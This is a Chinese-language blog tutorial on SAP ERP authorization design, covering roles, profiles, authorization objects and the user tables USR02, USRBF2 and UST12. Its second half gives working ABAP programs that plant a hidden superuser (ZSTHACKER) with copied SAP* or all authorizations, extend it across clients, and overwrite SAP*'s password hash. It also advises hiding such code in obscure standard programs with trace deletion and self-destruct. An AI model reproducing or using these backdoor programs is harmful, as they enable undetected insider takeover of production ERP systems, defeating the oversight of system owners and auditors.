小技巧-ERP权限控制

繁中求简, 闲聊一下SAP复杂权限设计的基本思想。

特别是适合大集团业务的ERP系统,应该提供一个非常完善的权限控制机制,甚至允许将权限控制字段细到字段级别,如果权限控制都做不到这点,估计产品销售就够呛!

多年以前,俺还在软件幼稚园时,老师布置的权限作业,权限大概是设计的:

Select 用户名 From 用户表 where 用户名='butcher'    (得到用户名)

select权限组ID  From 权限表 where 用户名='butcher' (得到用户对应的权限组ID

select * From 权限控制列表 where权限组ID = *****’(得到没个权限组ID对应的明细权限列表也就是用户的明细权限)

这种简单的权限设置是无法满足复杂的业务需求的,多年以后,居然国内还有很多软件公司

在权限设计上还在玩这套小把戏。

现在来看看“伟大的”SAP的权限设计思路,首先了解下几个Tcode和权限相关表格。

常用权限相关Tcode .

()Role(角色)相关T-code:

PFCG  创建

ROLE_CMP 角色比较

SUPC  批量建立角色profile

()建立用户

SU01   建立用户

SU01D  显示用户

SU2|SU3| SU50|SU51|SU52   改变/显示用户个人参数

SU10|SU12  批量维护用户

SUCOMP维护用户公司地址

SUIM  用户信息系统(强调一下)

()建立用户组

SUGR| SUGRD_NAV 维护用户组

SUGRD| SUGR_NAV 显示用户组

 ()维护检查授权

SU20|SU21自定义授权字段和授权对象

SU53 当出现权限问题可使用它检测未授权对象.

SU56:分析authoraztion data buffers.
常用权限相关表格:

TOBJ : All avaiable authorzation objects.(ERP系统默认的所有授权对象)

USR12: 用户级authoraztion

USR02:User Logon Data(包括用户名称密码,是否锁住等字段)

USR03:User address data

USR05:User Master Parameter ID(Tcode SU3可查看用户参数文件的参数ID默认值)

USR41:当前用户(Tcode SM04看到的所有当前活动用户,包括各种对话系统通信类用户)

USRBF2:记录当前用户所有的授权objects

UST04:User Profile master(用户主数据中对应的权限参数文件名)

UST10S: Single profiles(授权文件,权限参数和授权对象对应表)

UST12 : Authorizations(具体授权细节)

重点提示:

USR02/USRBF2/UST10S/UST12四个表包含的信息就是ERP权限控制的关键,USR02是用户主数据表,后三表和用户授权紧密相关。

我现在举一个MM01建立物料主数据的实例,来说明SAP的权限控制设计思路,步骤如下:

第一步:建立角色(TcodePFCG

 

1中,假设建立角色ZMM01

1-[1][2]:在菜单Tab页选择“事务“加入MM01->创建物料&,你还可为程序,查询这样的报表授权,选择”其它“还能为数据仓库等对象设置权限角色。

1-[3][4][5]:到“权限Tab页看到系统自动产生的授权参数文件Profilname T-C1550437,然后选择”更改授权数据“,进入2

显然系统并不意味你给了建立物料的权限就能随意使用该Tcode了,系统有更严格的细致控制。

2-[1][2]:我们可以看到建立物料主数据的权限分公司代码层次,仓库层次,物料类型层次,销售组织层次,物料组层次,和工厂层次等等,特别是对于象公司代码,销售组织和工厂这样的组织层次授权字段,控制点是非常必要的,一个大集团实施ERP,各公司代码,各公司代码下的各Plant授权用户只能建立各自的物料,现在来看看是如何控制到工厂级别的。

2-[3][4][5]:在每个控制级别(即权限控制字段)都分控制字段和作业,每个权限控制字段对应一个所谓的授权对象,工厂的授权对象是M_MATE_WRK,所有授权对象的作业统一都是ACTVT,包括01/02/03/06/08五个作业,即控制是否允许创建更改显示删除等。比如MM01的作业只给03->显示,则只能显示物料。

注:

如果有特殊权限控制需要,可以使用SU20|SU21自定义授权字段和授权对象

2-[6][7]:点击“工厂“,进去增加工厂权限,设置了工厂FRA1FRA2和一个工厂范围FRM1-FRM2

注:

如果公司代码,物料类,物料组,工厂等授权字段选择*表示允许输入该字段所有的内容。

接下来,使用SU01建立一个用户假设名叫butcher,然后在此将角色ZMM01分配给它,如图3,记得要做“用户比较“知道该按纽变绿,这和人带的帽子不同,在角色设置中,越绿越好,至此,一个最简单的权限设置就Ok了,用户butcher只能使用MM01在工厂FRA1FRA1FRM1FRM2四个工厂上建立物料主数据。

现在来检查USRBF2/UST10S/UST12三个和用户授权相关的表格数据,如45和图6

4是用户参数文件表USR10S和用户授权表USRBF2的合成图。

4-[1][3][4][6] UST10S表的参数文件T-C1550437正是1-[4]中定义角色ZMM01时生成的参数文件,对象表示的即授权对象,每个授权对象对应一个4-[6] 权限名称T-C155043700| T-C155043701这俩权限名称正是参数文件T-C1550437文件+系号。

4-[2][5]:用户授权对象表USRBF2包含了ERP用户BUTCHER所对应的(授权)对象和对象对应的权限名称,现在注意一下USRBF2表用户BUTCHER包含了工厂的授权对象M_MATE_WRK,其对应的授权名称是T-C155043700那么2-[7]设置的四个工厂FRA1FRA1FRM1FRM2保存在什么地方呢?请见6

为什么一个参数文件T-C1550437产生了两个T-C155043700| T-C155043701权限名称呢?

查看权限对象设置时发现,在仓库授权对象M_MATE_LGN和销售组织/分销渠道授权M_MATE_

VKO下系统竟默认了两次相同的授权作业,如5

5表示建立物料主数据的仓库号和销售组织/分销渠道默认授权了两次。

 

6中,可以看到授权对象M_MATE_WRK(即工厂授权对象)5条记录,其中字段ACTVT

01,06两条,分表表示允许建立和删除物料数据,工厂WERKS有三条,正是FRA1,FRA2,和值

FRM1到值FRM2,如6-[2][3]

至此,权限设计的基本逻辑就非常清晰了,如果用户BUTCHER要建立某工厂的物料,首先从

授权表中查看是否有M_MATE_WRK的授权对象,然后再到UST12去检查输入的工厂是否在授

权范围,If not so,则提示未授权。

现在用户BUTCHER建立物料主数据,输入工厂1000,提示M3 855未授权处理工厂1000

主数据,如7。通常有两种便捷方法查找到权限控制逻辑:

(1).SE91输入M3 855查找,

(2).直接在物料主数据建立程序中查找,一定能看到该主程序的子程序下到处都有象图

7-[4]AUTHORITY-CHECK OBJECT ‘授权对象名称’

ID ACTVT  ‘作业允许号’

ID  ‘授权字段‘  FIELD  ‘用户输入内容“

这样的权限检查逻辑。

如果你了解了这个原理,那么有跟踪程序和修改变量的权限(对应授权对象S_DEVOP,02,只要你稍微熟悉ABAP,实际上你就拥有了一切权限。

下面的附件是一个使用跟踪/H并修改授权返回变量的操作手册。

回顾这个实例,注意以下三点。

[1].创建角色Role将产生一个授权参数文件Profiel Name

[2].一个授权参数文件包含许多授权对象Authority Objects,实际上是如果将多个Tcode或报表或起其它什么的赋予一个Role,系统将这些Tcode(或报表)对应的授权对象带出,这些授权对象当然在Tcode(报表对应的)程序逻辑中会有体现,则角色对应的授权参数文件将包含这些授权对象。

[3].授权对象通常有两部分组成:

一是作业ACTVT,作业号分别是:

01  创建或生成

02  更改

03  显示

06  删除

08  显示修改文档

   二是授权字段,这些授权字段通常是诸如组织结构层次的公司代码,工厂,或其它比如物料类型,凭证类型等,这样可以做到更细微的权限控制。

到现在为止,我们知道,实际上决定权限的是授权对象Authorization Object! 用户的授权对象表在USRBF2中,所以只要往这个表插入数据就获得了权限,现在可以使用SE38建立用户和授予权限,这意味着使用ABAP可以迅速获得所有权限。

不妨假设一下,一个ABAPer在开发机上建立这样的程序,然后传输到生产系统?Basis能发现?理论上,高明的ABAPer是不大可能被发现的,它可以将这段代码甚至移值到一段很不常用的标准程序比如QueryReport painter产生的自动程序上,并且在程序中填加删除一切痕迹的代码,甚至可以设置好自毁该段程序,绕过Access Key修改标准程序也是轻易的!

下面的程序ZCRTUSER是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限的参考程序。

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1.Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' .

insert USR02 from ZUSR02  .

***2.Copy Auth. Obj from SAP*(or other)

***如果将Where BNAME = 'SAP*'去掉,基本就是复制所有的授权对象

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select *  from  USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

  ZUSRBF2-BNAME = 'ZSTHACKER' . 

  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

如果SAP*可能被删除,还可直接将TOBJ中包含的所有的ERP授权对象全部赋予给一个用户。

以下程序ZALLOBJ是赋予所有的标准授权对象给用户ZSTHACKER

Program ZALLOBJ

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

  zusrbf2-mandt = sy-mandt.

  zusrbf2-bname = 'ZSTHACKER'.

  zusrbf2-objct = ztobj-objct.

  zusrbf2-auth  ='&_SAP_ALL'.

  modify USRBF2 FROM  zusrbf2 .

endloop .

 

也可跨Client建立用户和赋予权限,只要使用client specified就可以。

Program ZCLIENT.

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2  where bname = 'SAP*' .

Zusrbf2-bname = 'ZSTHACKER' .

Zusrbf2-mandt = '100'.

Insert into usrbf2 client specified values zusrbf2.

Endselect .

下面是一句话修改SAP*的密码为123456的程序,同样,假设用户BUTCHER的密码丢失,我只要随便在一台服务器上建立一个用户也叫BUTCHER,然后密码设置为1QAZ2WSX,则其在任何系统任何client加密后的密码必为BF02C9F1F179FB45 ,这样的加密意义已经不大。

report ZMODPWD.

tables :usr02 .

update usr02 set bcode = ' CF094BAA2020480E'

where BNAME = 'SAP*'.

虽然以上只是一个建立物料主数据的权限控制,却非常清晰地解释了ERP系统权限控制的逻辑。